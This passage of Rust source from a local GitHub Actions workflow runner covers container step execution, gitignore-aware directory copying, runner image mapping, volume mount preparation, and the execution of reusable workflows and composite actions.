3723 wrkflw_logging::warning(&format!(
3724 " Unrecognized shell '{}', falling back to '{} -c'",
3725 other, other
3726 ));
3727 vec![other, "-c", &resolved_run]
3728 }
3729 };
3730
3731 let effective_wd = ctx
3733 .step
3734 .working_directory
3735 .as_deref()
3736 .or_else(|| {
3737 ctx.job_defaults
3738 .and_then(|d| d.run.as_ref()?.working_directory.as_deref())
3739 })
3740 .or_else(|| {
3741 ctx.workflow_defaults
3742 .and_then(|d| d.run.as_ref()?.working_directory.as_deref())
3743 });
3744
3745 let container_workspace = Path::new("/github/workspace");
3747 let final_workspace = if let Some(wd) = effective_wd {
3748 let joined = container_workspace.join(wd);
3749 let mut normalized = std::path::PathBuf::new();
3751 for component in joined.components() {
3752 match component {
3753 std::path::Component::ParentDir => {
3754 normalized.pop();
3755 }
3756 c => normalized.push(c.as_os_str()),
3757 }
3758 }
3759 if !normalized.starts_with(container_workspace) {
3760 return Ok(StepResult::new(
3761 step_name,
3762 StepStatus::Failure,
3763 format!(
3764 "Invalid working-directory '{}': must be within workspace",
3765 wd
3766 ),
3767 ));
3768 }
3769 normalized
3770 } else {
3771 container_workspace.to_path_buf()
3772 };
3773
3774 let mount_ctx =
3775 prepare_step_container_context(&mut step_env, ctx.job_env, ctx.container_config);
3776 let volumes = mount_ctx.build_volumes(ctx.working_dir, container_workspace);
3777 let env_vars: Vec<(&str, &str)> = step_env
3778 .iter()
3779 .map(|(k, v)| (k.as_str(), v.as_str()))
3780 .collect();
3781
3782 match ctx
3784 .runtime
3785 .run_container(
3786 ctx.runner_image,
3787 &cmd_parts,
3788 &env_vars,
3789 &final_workspace,
3790 &volumes,
3791 None,
3792 )
3793 .await
3794 {
3795 Ok(container_output) => {
3796 output.push_str(&format!("Command: {}\n\n", resolved_run));
3799
3800 if !container_output.stdout.is_empty() {
3801 output.push_str("Standard Output:\n");
3802 output.push_str(&container_output.stdout);
3803 output.push('\n');
3804 }
3805
3806 if !container_output.stderr.is_empty() {
3807 output.push_str("Standard Error:\n");
3808 output.push_str(&container_output.stderr);
3809 output.push('\n');
3810 }
3811
3812 if container_output.exit_code != 0 {
3813 status = StepStatus::Failure;
3814
3815 if is_cargo_cmd {
3817 let mut error_msg = String::new();
3818 error_msg.push_str(&format!(
3819 "\nCargo command failed with exit code {}\n",
3820 container_output.exit_code
3821 ));
3822 error_msg.push_str("Common causes for cargo command failures:\n");
3823
3824 if run.contains("fmt") {
3825 error_msg.push_str(
3826 "- Code formatting issues. Run 'cargo fmt' locally to fix.\n",
3827 );
3828 } else if run.contains("clippy") {
3829 error_msg.push_str("- Linter warnings treated as errors. Run 'cargo clippy' locally to see details.\n");
3830 } else if run.contains("test") {
3831 error_msg.push_str("- Test failures. Run 'cargo test' locally to see which tests failed.\n");
3832 } else if run.contains("build") {
3833 error_msg.push_str(
3834 "- Compilation errors. Check the error messages above.\n",
3835 );
3836 }
3837
3838 error_details = Some(error_msg);
3839 }
3840 }
3841 }
3842 Err(e) => {
3843 status = StepStatus::Failure;
3844 output.push_str(&format!("Error executing command: {}\n", e));
3845 }
3846 }
3847
3848 if let Some(details) = error_details {
3850 output.push_str(&details);
3851 }
3852
3853 StepResult::new(step_name, status, output)
3854 } else {
3855 return Ok(StepResult::new(
3856 step_name,
3857 StepStatus::Skipped,
3858 "Step has neither 'uses' nor 'run'".to_string(),
3859 ));
3860 };
3861
3862 Ok(step_result)
3863}
3864
3865fn create_gitignore_matcher(
3867 dir: &Path,
3868) -> Result<Option<ignore::gitignore::Gitignore>, ExecutionError> {
3869 let mut builder = GitignoreBuilder::new(dir);
3870
3871 let gitignore_path = dir.join(".gitignore");
3873 if gitignore_path.exists() {
3874 builder.add(&gitignore_path);
3875 }
3876
3877 builder.add_line(None, "target/").map_err(|e| {
3879 ExecutionError::Execution(format!("Failed to add default ignore pattern: {}", e))
3880 })?;
3881 builder.add_line(None, ".git/").map_err(|e| {
3882 ExecutionError::Execution(format!("Failed to add default ignore pattern: {}", e))
3883 })?;
3884
3885 match builder.build() {
3886 Ok(gitignore) => Ok(Some(gitignore)),
3887 Err(e) => {
3888 wrkflw_logging::warning(&format!("Failed to build gitignore matcher: {}", e));
3889 Ok(None)
3890 }
3891 }
3892}
3893
3894fn copy_directory_contents(from: &Path, to: &Path) -> Result<(), ExecutionError> {
3895 copy_directory_contents_with_gitignore(from, to, None)
3896}
3897
3898fn copy_directory_contents_with_gitignore(
3899 from: &Path,
3900 to: &Path,
3901 gitignore: Option<&ignore::gitignore::Gitignore>,
3902) -> Result<(), ExecutionError> {
3903 let root_gitignore;
3905 let gitignore = if gitignore.is_none() {
3906 root_gitignore = create_gitignore_matcher(from)?;
3907 root_gitignore.as_ref()
3908 } else {
3909 gitignore
3910 };
3911
3912 wrkflw_logging::debug(&format!(
3914 "Copying directory contents from {} to {}",
3915 from.display(),
3916 to.display()
3917 ));
3918
3919 for entry in std::fs::read_dir(from)
3920 .map_err(|e| ExecutionError::Execution(format!("Failed to read directory: {}", e)))?
3921 {
3922 let entry =
3923 entry.map_err(|e| ExecutionError::Execution(format!("Failed to read entry: {}", e)))?;
3924 let path = entry.path();
3925
3926 if path.is_symlink() {
3927 wrkflw_logging::debug(&format!("Skipping symlink: {:?}", path));
3928 continue;
3929 }
3930
3931 if let Some(gitignore) = gitignore {
3933 let relative_path = path.strip_prefix(from).unwrap_or(&path);
3934 match gitignore.matched(relative_path, path.is_dir()) {
3935 Match::Ignore(_) => {
3936 wrkflw_logging::debug(&format!("Skipping ignored file/directory: {path:?}"));
3937 continue;
3938 }
3939 Match::Whitelist(_) | Match::None => {
3940 }
3942 }
3943 }
3944
3945 let file_name = match path.file_name() {
3949 Some(name) => name.to_string_lossy(),
3950 None => {
3951 return Err(ExecutionError::Execution(format!(
3952 "Failed to get file name from path: {:?}",
3953 path
3954 )));
3955 }
3956 };
3957
3958 if file_name.starts_with(".")
3960 && file_name != ".gitignore"
3961 && file_name != ".github"
3962 && !file_name.starts_with(".env")
3963 {
3964 continue;
3965 }
3966
3967 let dest_path = match path.file_name() {
3968 Some(name) => to.join(name),
3969 None => {
3970 return Err(ExecutionError::Execution(format!(
3971 "Failed to get file name from path: {:?}",
3972 path
3973 )));
3974 }
3975 };
3976
3977 if path.is_dir() {
3978 std::fs::create_dir_all(&dest_path)
3979 .map_err(|e| ExecutionError::Execution(format!("Failed to create dir: {}", e)))?;
3980
3981 copy_directory_contents_with_gitignore(&path, &dest_path, gitignore)?;
3983 } else {
3984 std::fs::copy(&path, &dest_path)
3985 .map_err(|e| ExecutionError::Execution(format!("Failed to copy file: {}", e)))?;
3986 }
3987 }
3988
3989 Ok(())
3990}
3991
3992fn get_runner_image(runs_on: &str) -> String {
3993 match runs_on.trim() {
3995 "ubuntu-latest" => "ubuntu:latest",
3997 "ubuntu-22.04" => "ubuntu:22.04",
3998 "ubuntu-20.04" => "ubuntu:20.04",
3999 "ubuntu-18.04" => "ubuntu:18.04",
4000
4001 "ubuntu-latest-medium" => "catthehacker/ubuntu:act-latest",
4003 "ubuntu-22.04-medium" => "catthehacker/ubuntu:act-22.04",
4004 "ubuntu-20.04-medium" => "catthehacker/ubuntu:act-20.04",
4005 "ubuntu-18.04-medium" => "catthehacker/ubuntu:act-18.04",
4006
4007 "ubuntu-latest-large" => "catthehacker/ubuntu:full-latest",
4009 "ubuntu-22.04-large" => "catthehacker/ubuntu:full-22.04",
4010 "ubuntu-20.04-large" => "catthehacker/ubuntu:full-20.04",
4011 "ubuntu-18.04-large" => "catthehacker/ubuntu:full-18.04",
4012
4013 "macos-latest" => "rust:latest",
4015 "macos-12" => "rust:latest", "macos-11" => "rust:latest", "macos-10.15" => "rust:latest", "windows-latest" => "mcr.microsoft.com/windows/servercore:ltsc2022",
4021 "windows-2022" => "mcr.microsoft.com/windows/servercore:ltsc2022",
4022 "windows-2019" => "mcr.microsoft.com/windows/servercore:ltsc2019",
4023
4024 "python-latest" => "python:3.11-slim",
4026 "python-3.11" => "python:3.11-slim",
4027 "python-3.10" => "python:3.10-slim",
4028 "python-3.9" => "python:3.9-slim",
4029 "python-3.8" => "python:3.8-slim",
4030
4031 "node-latest" => "node:20-slim",
4032 "node-20" => "node:20-slim",
4033 "node-18" => "node:18-slim",
4034 "node-16" => "node:16-slim",
4035
4036 "java-latest" => "eclipse-temurin:17-jdk",
4037 "java-17" => "eclipse-temurin:17-jdk",
4038 "java-11" => "eclipse-temurin:11-jdk",
4039 "java-8" => "eclipse-temurin:8-jdk",
4040
4041 "go-latest" => "golang:1.21-slim",
4042 "go-1.21" => "golang:1.21-slim",
4043 "go-1.20" => "golang:1.20-slim",
4044 "go-1.19" => "golang:1.19-slim",
4045
4046 "dotnet-latest" => "mcr.microsoft.com/dotnet/sdk:7.0",
4047 "dotnet-7.0" => "mcr.microsoft.com/dotnet/sdk:7.0",
4048 "dotnet-6.0" => "mcr.microsoft.com/dotnet/sdk:6.0",
4049 "dotnet-5.0" => "mcr.microsoft.com/dotnet/sdk:5.0",
4050
4051 _ => {
4053 let runs_on_lower = runs_on.trim().to_lowercase();
4055 if runs_on_lower.starts_with("macos") {
4056 "rust:latest" } else if runs_on_lower.starts_with("windows") {
4058 "mcr.microsoft.com/windows/servercore:ltsc2022" } else if runs_on_lower.starts_with("python") {
4060 "python:3.11-slim" } else if runs_on_lower.starts_with("node") {
4062 "node:20-slim" } else if runs_on_lower.starts_with("java") {
4064 "eclipse-temurin:17-jdk" } else if runs_on_lower.starts_with("go") {
4066 "golang:1.21-slim" } else if runs_on_lower.starts_with("dotnet") {
4068 "mcr.microsoft.com/dotnet/sdk:7.0" } else {
4070 "ubuntu:latest" }
4072 }
4073 }
4074 .to_string()
4075}
4076
4077fn get_runner_image_from_opt(runs_on: &Option<Vec<String>>) -> String {
4078 let default = "ubuntu-latest";
4079 let ro = runs_on
4080 .as_ref()
4081 .and_then(|vec| vec.first())
4082 .map(|s| s.as_str())
4083 .unwrap_or(default);
4084 get_runner_image(ro)
4085}
4086
4087fn get_effective_runner_image(job: &Job) -> String {
4088 if let Some(ref container) = job.container {
4089 if container.image.is_empty() {
4090 wrkflw_logging::warning("container image is empty, falling back to runs-on");
4091 get_runner_image_from_opt(&job.runs_on)
4092 } else {
4093 container.image.clone()
4094 }
4095 } else {
4096 get_runner_image_from_opt(&job.runs_on)
4097 }
4098}
4099
4100struct StepContainerContext {
4105 owned_volume_paths: Vec<VolumePathPair>,
4106 github_mount: Option<VolumePathPair>,
4107}
4108
4109impl StepContainerContext {
4110 fn build_volumes<'a>(
4113 &'a self,
4114 working_dir: &'a Path,
4115 container_workspace: &'a Path,
4116 ) -> Vec<(&'a Path, &'a Path)> {
4117 let mut volumes: Vec<(&Path, &Path)> = vec![(working_dir, container_workspace)];
4118 if let Some((ref host, ref container)) = self.github_mount {
4119 volumes.push((host.as_path(), container.as_path()));
4120 }
4121 for (host, container) in &self.owned_volume_paths {
4122 volumes.push((host.as_path(), container.as_path()));
4123 }
4124 volumes
4125 }
4126}
4127
4128fn prepare_step_container_context(
4134 step_env: &mut HashMap<String, String>,
4135 job_env: &HashMap<String, String>,
4136 container_config: Option<&JobContainer>,
4137) -> StepContainerContext {
4138 let (owned_volume_paths, github_mount) =
4139 prepare_container_mounts(step_env, job_env, container_config);
4140 StepContainerContext {
4141 owned_volume_paths,
4142 github_mount,
4143 }
4144}
4145
4146type VolumePathPair = (PathBuf, PathBuf);
4147
4148fn prepare_container_mounts(
4154 step_env: &mut HashMap<String, String>,
4155 job_env: &HashMap<String, String>,
4156 container_config: Option<&JobContainer>,
4157) -> (Vec<VolumePathPair>, Option<VolumePathPair>) {
4158 let container_github_dir = Path::new("/github/workflow");
4159 let is_container_runtime = step_env
4160 .get("WRKFLW_RUNTIME_MODE")
4161 .map(|m| m == "docker" || m == "podman")
4162 .unwrap_or(false);
4163
4164 let github_mount = if let Some(github_env_path) = job_env.get("GITHUB_ENV") {
4166 if let Some(github_dir) = Path::new(github_env_path).parent() {
4167 if is_container_runtime {
4168 for env_key in &[
4172 "GITHUB_ENV",
4173 "GITHUB_OUTPUT",
4174 "GITHUB_PATH",
4175 "GITHUB_STEP_SUMMARY",
4176 ] {
4177 if let Some(host_path) = job_env.get(*env_key) {
4178 if let Some(filename) = Path::new(host_path).file_name() {
4179 step_env.insert(
4180 env_key.to_string(),
4181 format!("/github/workflow/{}", filename.to_string_lossy()),
4182 );
4183 }
4184 }
4185 }
4186 Some((github_dir.to_path_buf(), container_github_dir.to_path_buf()))
4187 } else {
4188 github_dir
4189 .parent()
4190 .map(|p| (p.to_path_buf(), p.to_path_buf()))
4191 }
4192 } else {
4193 None
4194 }
4195 } else {
4196 None
4197 };
4198
4199 let mut owned_volume_paths: Vec<VolumePathPair> = Vec::new();
4202 if let Some(container_volumes) = container_config.and_then(|c| c.volumes.as_ref()) {
4203 for vol_spec in container_volumes {
4204 if vol_spec.is_empty() {
4205 wrkflw_logging::warning("skipping empty volume spec");
4206 continue;
4207 }
4208 let parts: Vec<&str> = vol_spec.splitn(3, ':').collect();
4210 let host_path = parts[0];
4212 if std::path::Path::new(host_path)
4213 .components()
4214 .any(|c| matches!(c, std::path::Component::ParentDir))
4215 {
4216 wrkflw_logging::warning(&format!(
4217 "Skipping volume with path traversal in host path: {}",
4218 vol_spec
4219 ));
4220 continue;
4221 }
4222 match parts.len() {
4223 3 => {
4224 if parts[0].is_empty() || parts[1].is_empty() {
4225 wrkflw_logging::warning(&format!(
4226 "skipping volume spec with empty host or container path: '{}'",
4227 vol_spec
4228 ));
4229 continue;
4230 }
4231 wrkflw_logging::warning(&format!(
4232 "volume mount option '{}' in '{}' is not yet supported and will be ignored",
4233 parts[2], vol_spec
4234 ));
4235 owned_volume_paths.push((PathBuf::from(parts[0]), PathBuf::from(parts[1])));
4236 }
4237 2 => {
4238 if parts[0].is_empty() || parts[1].is_empty() {
4239 wrkflw_logging::warning(&format!(
4240 "skipping volume spec with empty host or container path: '{}'",
4241 vol_spec
4242 ));
4243 continue;
4244 }
4245 owned_volume_paths.push((PathBuf::from(parts[0]), PathBuf::from(parts[1])));
4246 }
4247 _ => {
4248 let p = PathBuf::from(parts[0]);
4250 owned_volume_paths.push((p.clone(), p));
4251 }
4252 }
4253 }
4254 }
4255
4256 (owned_volume_paths, github_mount)
4257}
4258
4259fn warn_unsupported_container_fields(container: &JobContainer) {
4261 if container.options.is_some() {
4262 wrkflw_logging::warning(
4263 "container 'options' field is not yet supported and will be ignored",
4264 );
4265 }
4266 if container.credentials.is_some() {
4267 wrkflw_logging::warning(
4268 "container 'credentials' field is not yet supported and will be ignored",
4269 );
4270 }
4271 if container.ports.is_some() {
4272 wrkflw_logging::warning(
4273 "container 'ports' field is not yet supported (service containers are not implemented)",
4274 );
4275 }
4276}
4277
4278async fn execute_reusable_workflow_job(
4279 ctx: &JobExecutionContext<'_>,
4280 uses: &str,
4281 with: Option<&HashMap<String, String>>,
4282 secrets: Option<&serde_yaml::Value>,
4283) -> Result<JobResult, ExecutionError> {
4284 wrkflw_logging::info(&format!(
4285 "Executing reusable workflow job '{}' -> {}",
4286 ctx.job_name, uses
4287 ));
4288
4289 enum UsesRef<'a> {
4291 LocalPath(&'a str),
4292 Remote {
4293 owner: String,
4294 repo: String,
4295 path: String,
4296 r#ref: String,
4297 },
4298 }
4299
4300 let uses_ref = if uses.starts_with("./") || uses.starts_with('/') {
4301 UsesRef::LocalPath(uses)
4302 } else {
4303 let parts: Vec<&str> = uses.split('@').collect();
4305 if parts.len() != 2 {
4306 return Err(ExecutionError::Execution(format!(
4307 "Invalid reusable workflow reference: {}",
4308 uses
4309 )));
4310 }
4311 let left = parts[0];
4312 let r#ref = parts[1].to_string();
4313 let mut segs = left.splitn(3, '/');
4314 let owner = segs.next().unwrap_or("").to_string();
4315 let repo = segs.next().unwrap_or("").to_string();
4316 let path = segs.next().unwrap_or("").to_string();
4317 if owner.is_empty() || repo.is_empty() || path.is_empty() {
4318 return Err(ExecutionError::Execution(format!(
4319 "Invalid reusable workflow reference: {}",
4320 uses
4321 )));
4322 }
4323 UsesRef::Remote {
4324 owner,
4325 repo,
4326 path,
4327 r#ref,
4328 }
4329 };
4330
4331 let workflow_path = match uses_ref {
4333 UsesRef::LocalPath(p) => {
4334 let current_dir = std::env::current_dir().map_err(|e| {
4336 ExecutionError::Execution(format!("Failed to get current dir: {}", e))
4337 })?;
4338 let path = current_dir.join(p);
4339 if !path.exists() {
4340 return Err(ExecutionError::Execution(format!(
4341 "Reusable workflow not found at path: {}",
4342 path.display()
4343 )));
4344 }
4345 if let Ok(canonical) = path.canonicalize() {
4348 if let Ok(canonical_cwd) = current_dir.canonicalize() {
4349 if !canonical.starts_with(&canonical_cwd) {
4350 return Err(ExecutionError::Execution(format!(
4351 "Reusable workflow path '{}' escapes the repository root",
4352 p
4353 )));
4354 }
4355 }
4356 }
4357 path
4358 }
4359 UsesRef::Remote {
4360 owner,
4361 repo,
4362 path,
4363 r#ref,
4364 } => {
4365 let tempdir = tempfile::tempdir().map_err(|e| {
4367 ExecutionError::Execution(format!("Failed to create temp dir: {}", e))
4368 })?;
4369 let repo_url = format!("https://github.com/{}/{}.git", owner, repo);
4370
4371 let repo_dir = tempdir.path().join("cloned_repo");
4373
4374 shallow_clone(&repo_url, &r#ref, &repo_dir).await?;
4375 let joined = repo_dir.join(path);
4376
4377 if !joined.exists() {
4378 return Err(ExecutionError::Execution(format!(
4379 "Reusable workflow file not found in repo: {}",
4380 joined.display()
4381 )));
4382 }
4383
4384 let called = parse_workflow(&joined)?;
4386
4387 return run_called_workflow(ctx, &called, uses, with, secrets, &joined).await;
4388 }
4389 };
4390
4391 let called = parse_workflow(&workflow_path)?;
4393
4394 run_called_workflow(ctx, &called, uses, with, secrets, &workflow_path).await
4395}
4396
4397async fn run_called_workflow(
4400 ctx: &JobExecutionContext<'_>,
4401 called: &WorkflowDefinition,
4402 uses: &str,
4403 with: Option<&HashMap<String, String>>,
4404 secrets: Option<&serde_yaml::Value>,
4405 workflow_path: &Path,
4406) -> Result<JobResult, ExecutionError> {
4407 let mut child_env = ctx.env_context.clone();
4409 if let Some(with_map) = with {
4410 for (k, v) in with_map {
4411 child_env.insert(format!("INPUT_{}", k.to_uppercase()), v.clone());
4412 }
4413 }
4414 if let Some(secrets_val) = secrets {
4415 if secrets_val.as_str() == Some("inherit") {
4416 for (name, value) in ctx.services.secrets_context {
4418 child_env.insert(format!("SECRET_{}", name.to_uppercase()), value.clone());
4419 }
4420 } else if let Some(map) = secrets_val.as_mapping() {
4421 for (k, v) in map {
4422 if let (Some(key), Some(value)) = (k.as_str(), v.as_str()) {
4423 child_env.insert(format!("SECRET_{}", key.to_uppercase()), value.to_string());
4424 }
4425 }
4426 }
4427 }
4428
4429 let plan = dependency::resolve_dependencies(called)?;
4433 let mut all_results = Vec::new();
4434 let mut any_failed = false;
4435 let mut reusable_job_outputs: HashMap<String, HashMap<String, String>> = HashMap::new();
4436 let mut reusable_job_results: HashMap<String, String> = HashMap::new();
4437 let child_user_env: HashMap<String, String> = HashMap::new();
4442 for batch in plan {
4443 let results = execute_job_batch(
4444 &batch,
4445 called,
4446 ctx.runtime,
4447 &child_env,
4448 &child_user_env,
4449 ctx.verbose,
4450 ctx.services.secret_manager,
4451 ctx.services.secret_masker,
4452 &reusable_job_outputs,
4453 &reusable_job_results,
4454 ctx.services.artifact_store,
4455 ctx.services.cache_store,
4456 )
4457 .await?;
4458 for r in &results {
4459 if r.status == JobStatus::Failure {
4460 any_failed = true;
4461 }
4462 reusable_job_results.insert(r.canonical_name.clone(), r.status.to_string());
4463 reusable_job_outputs.insert(r.canonical_name.clone(), r.outputs.clone());
4464 }
4465 all_results.extend(results);
4466 }
4467
4468 let mut logs = String::new();
4470 logs.push_str(&format!("Called workflow: {}\n", workflow_path.display()));
4471 for r in &all_results {
4472 logs.push_str(&format!("- {}: {:?}\n", r.name, r.status));
4473 }
4474
4475 let summary_step = StepResult::new(
4477 format!("Run reusable workflow: {}", uses),
4478 if any_failed {
4479 StepStatus::Failure
4480 } else {
4481 StepStatus::Success
4482 },
4483 logs.clone(),
4484 );
4485
4486 let outputs = aggregate_reusable_workflow_outputs(&reusable_job_outputs);
4488
4489 Ok(JobResult {
4490 name: ctx.job_name.to_string(),
4491 canonical_name: ctx.job_name.to_string(),
4492 status: if any_failed {
4493 JobStatus::Failure
4494 } else {
4495 JobStatus::Success
4496 },
4497 steps: vec![summary_step],
4498 logs,
4499 outputs,
4500 })
4501}
4502
4503fn aggregate_reusable_workflow_outputs(
4512 job_outputs: &HashMap<String, HashMap<String, String>>,
4513) -> HashMap<String, String> {
4514 let mut merged = HashMap::new();
4515 let mut sorted_jobs: Vec<_> = job_outputs.iter().collect();
4517 sorted_jobs.sort_by(|a, b| a.0.cmp(b.0));
4518 for (job_name, outputs) in sorted_jobs {
4519 for (key, value) in outputs {
4520 if !value.is_empty() {
4521 if let Some(prev) = merged.insert(key.clone(), value.clone()) {
4522 if prev != *value {
4523 wrkflw_logging::warning(&format!(
4524 "Reusable workflow output key '{}' from job '{}' overwrites \
4525 a different value set by an earlier job",
4526 key, job_name
4527 ));
4528 }
4529 }
4530 }
4531 }
4532 }
4533 merged
4534}
4535
4536#[allow(dead_code)]
4537async fn prepare_runner_image(
4538 image: &str,
4539 runtime: &dyn ContainerRuntime,
4540 verbose: bool,
4541) -> Result<(), ExecutionError> {
4542 if let Err(e) = runtime.pull_image(image).await {
4544 wrkflw_logging::warning(&format!("Failed to pull image {}: {}", image, e));
4545 }
4546
4547 let language_info = extract_language_info(image);
4549 if let Some((language, version)) = language_info {
4550 if let Ok(custom_image) = runtime
4552 .prepare_language_environment(language, version, None)
4553 .await
4554 .map_err(|e| ExecutionError::Runtime(e.to_string()))
4555 {
4556 if verbose {
4557 wrkflw_logging::info(&format!("Using customized image: {}", custom_image));
4558 }
4559 return Ok(());
4560 }
4561 }
4562
4563 Ok(())
4564}
4565
4566#[allow(dead_code)]
4567fn extract_language_info(image: &str) -> Option<(&'static str, Option<&str>)> {
4568 let image_lower = image.to_lowercase();
4569
4570 if image_lower.starts_with("python:") {
4572 Some(("python", Some(&image[7..])))
4573 } else if image_lower.starts_with("node:") {
4574 Some(("node", Some(&image[5..])))
4575 } else if image_lower.starts_with("eclipse-temurin:") {
4576 Some(("java", Some(&image[15..])))
4577 } else if image_lower.starts_with("golang:") {
4578 Some(("go", Some(&image[6..])))
4579 } else if image_lower.starts_with("mcr.microsoft.com/dotnet/sdk:") {
4580 Some(("dotnet", Some(&image[29..])))
4581 } else if image_lower.starts_with("rust:") {
4582 Some(("rust", Some(&image[5..])))
4583 } else {
4584 None
4585 }
4586}
4587
4588#[allow(clippy::too_many_arguments)]
4589async fn execute_composite_action(
4590 step: &workflow::Step,
4591 action_path: &Path,
4592 job_env: &HashMap<String, String>,
4593 job_user_env: &HashMap<String, String>,
4594 working_dir: &Path,
4595 runtime: &dyn ContainerRuntime,
4596 runner_image: &str,
4597 verbose: bool,
4598 services: &JobServices<'_>,
4599 pending_cache_saves: &std::sync::Mutex<Vec<PendingCacheSave>>,
4600) -> Result<StepResult, ExecutionError> {
4601 let action_yaml = action_path.join("action.yml");
4603 let action_yaml_alt = action_path.join("action.yaml");
4604
4605 let action_file = if action_yaml.exists() {
4606 action_yaml
4607 } else if action_yaml_alt.exists() {
4608 action_yaml_alt
4609 } else {
4610 return Err(ExecutionError::Execution(format!(
4611 "No action.yml or action.yaml found in {}",
4612 action_path.display()
4613 )));
4614 };
4615
4616 let action_content = fs::read_to_string(&action_file)
4618 .map_err(|e| ExecutionError::Execution(format!("Failed to read action file: {}", e)))?;
4619
4620 let action_def: serde_yaml::Value = serde_yaml::from_str(&action_content)
4621 .map_err(|e| ExecutionError::Execution(format!("Invalid action YAML: {}", e)))?;
4622
4623 match action_def.get("runs").and_then(|v| v.get("using")) {
4625 Some(serde_yaml::Value::String(using)) if using == "composite" => {
4626 let steps = match action_def.get("runs").and_then(|v| v.get("steps")) {
4628 Some(serde_yaml::Value::Sequence(steps)) => steps,
4629 _ => {
4630 return Err(ExecutionError::Execution(
4631 "Composite action is missing steps".to_string(),
4632 ))
4633 }
4634 };
4635
4636 let mut action_env = job_env.clone();
4641 let mut action_user_env = job_user_env.clone();
4642 if let Some(inputs_def) = action_def.get("inputs") {
4643 if let Some(inputs_map) = inputs_def.as_mapping() {
4644 for (input_name, input_def) in inputs_map {
4645 if let Some(input_name_str) = input_name.as_str() {
4646 let default_value = input_def
4648 .get("default")
4649 .and_then(|v| v.as_str())
4650 .unwrap_or("");
4651
4652 let input_value = step
4654 .with
4655 .as_ref()
4656 .and_then(|with| with.get(input_name_str))
4657 .unwrap_or(&default_value.to_string())
4658 .clone();
4659
4660 action_env.insert(
4662 format!("INPUT_{}", input_name_str.to_uppercase()),
4663 input_value,
4664 );
4665 }
4666 }
4667 }
4668 }
4669
4670 let mut step_outputs = Vec::new();
4672 let mut composite_step_outputs: HashMap<String, HashMap<String, String>> =
4673 HashMap::new();
4674 let mut composite_step_statuses: HashMap<String, (String, String)> = HashMap::new();
4675 let mut composite_job_status = "success".to_string();
4676 for (idx, step_def) in steps.iter().enumerate() {
4677 let composite_step = match convert_yaml_to_step(step_def) {
4679 Ok(step) => step,
4680 Err(e) => {
4681 return Err(ExecutionError::Execution(format!(
4682 "Failed to process composite action step {}: {}",
4683 idx + 1,
4684 e
4685 )))
4686 }
4687 };
4688
4689 let step_result = Box::pin(execute_step(StepExecutionContext {
4691 step: &composite_step,
4692 step_idx: idx,
4693 job_env: &action_env,
4694 job_user_env: &action_user_env,
4695 working_dir,
4696 runtime,
4697 workflow: &workflow::WorkflowDefinition {
4698 name: "Composite Action".to_string(),
4699 on: vec![],
4700 on_raw: serde_yaml::Value::Null,
4701 jobs: HashMap::new(),
4702 defaults: None,
4703 env: HashMap::new(),
4704 },
4705 runner_image,
4706 verbose,
4707 matrix_combination: &None,
4708 container_config: None, workflow_defaults: None,
4710 job_defaults: None,
4711 step_outputs: &composite_step_outputs,
4712 step_statuses: &composite_step_statuses,
4713 job_status: &composite_job_status,
4714 services: JobServices {
4715 secret_manager: services.secret_manager,
4716 secret_masker: services.secret_masker,
4717 secrets_context: services.secrets_context,
4718 needs_context: services.needs_context,
4719 needs_results: services.needs_results,
4720 artifact_store: services.artifact_store,
4721 cache_store: services.cache_store,
4722 },
4723 pending_cache_saves,
4724 }))
4725 .await?;
4726
4727 record_step_status(
4729 composite_step.id.as_deref(),
4730 &step_result,
4731 &mut composite_step_statuses,
4732 &mut composite_job_status,
4733 );
4734
4735 process_workflow_commands(
4737 &step_result.output,
4738 composite_step.id.as_deref(),
4739 &mut composite_step_outputs,
4740 services.secret_masker,
4741 );
4742
4743 step_outputs.push(format!("Step {}: {}", idx + 1, step_result.output));
4745
4746 crate::github_env_files::apply_step_environment_updates(
4752 &mut action_env,
4753 &mut action_user_env,
4754 &mut composite_step_outputs,
4755 composite_step.id.as_deref(),
4756 );
4757
4758 if step_result.status == StepStatus::Failure {
4760 propagate_composite_outputs(
4762 &action_def,
4763 &composite_step_outputs,
4764 &action_env,
4765 &action_user_env,
4766 job_env,
4767 working_dir,
4768 &composite_job_status,
4769 );
4770 return Ok(StepResult::new(
4771 step.name
4772 .clone()
4773 .unwrap_or_else(|| "Composite Action".to_string()),
4774 StepStatus::Failure,
4775 step_outputs.join("\n"),
4776 ));
4777 }
4778 }
4779
4780 propagate_composite_outputs(
4782 &action_def,
4783 &composite_step_outputs,
4784 &action_env,
4785 &action_user_env,
4786 job_env,
4787 working_dir,
4788 &composite_job_status,
4789 );
4790
4791 let output = if verbose {
4793 let mut detailed_output = format!(
4794 "Executed composite action from: {}\n\n",
4795 action_path.display()
4796 );
4797
4798 if let Ok(action_content) =
4800 serde_yaml::from_str::<serde_yaml::Value>(&action_content)
4801 {
4802 if let Some(name) = action_content.get("name").and_then(|v| v.as_str()) {
4803 detailed_output.push_str(&format!("Action name: {}\n", name));
4804 }
4805
4806 if let Some(description) =
4807 action_content.get("description").and_then(|v| v.as_str())
4808 {
4809 detailed_output.push_str(&format!("Description: {}\n", description));
4810 }
4811
4812 detailed_output.push('\n');
4813 }
4814
4815 detailed_output.push_str("Step outputs:\n");
4817 for output in &step_outputs {
4818 detailed_output.push_str(&format!("{}\n", output));
4819 }
4820
4821 detailed_output
4822 } else {
4823 format!(
4824 "Executed composite action with {} steps",
4825 step_outputs.len()
4826 )
4827 };
4828
4829 Ok(StepResult::new(
4830 step.name
4831 .clone()
4832 .unwrap_or_else(|| "Composite Action".to_string()),
4833 StepStatus::Success,
4834 output,
4835 ))
4836 }
4837 _ => Err(ExecutionError::Execution(
4838 "Action is not a composite action or has invalid format".to_string(),
4839 )),
4840 }
4841}
4842
4843fn propagate_composite_outputs(
4846 action_def: &serde_yaml::Value,
4847 composite_step_outputs: &HashMap<String, HashMap<String, String>>,
4848 action_env: &HashMap<String, String>,
4849 action_user_env: &HashMap<String, String>,
4850 caller_job_env: &HashMap<String, String>,
4851 working_dir: &Path,
4852 job_status: &str,
4853) {
4854 let outputs = match action_def.get("outputs").and_then(|v| v.as_mapping()) {
4855 Some(m) => m,
4856 None => return, };
4858
4859 let empty_matrix = None;
4861 let empty_statuses = HashMap::new();
4862 let empty_secrets = HashMap::new();
4863 let empty_needs = HashMap::new();
4864 let empty_results = HashMap::new();
4865 let expr_ctx = crate::expression::ExpressionContext {
4866 env_context: action_env,
4867 step_outputs: composite_step_outputs,
4868 matrix_combination: &empty_matrix,
4869 step_statuses: &empty_statuses,
4870 job_status,
4871 secrets_context: &empty_secrets,
4872 needs_context: &empty_needs,
4873 needs_results: &empty_results,
4874 user_env: action_user_env,
4875 };
4876
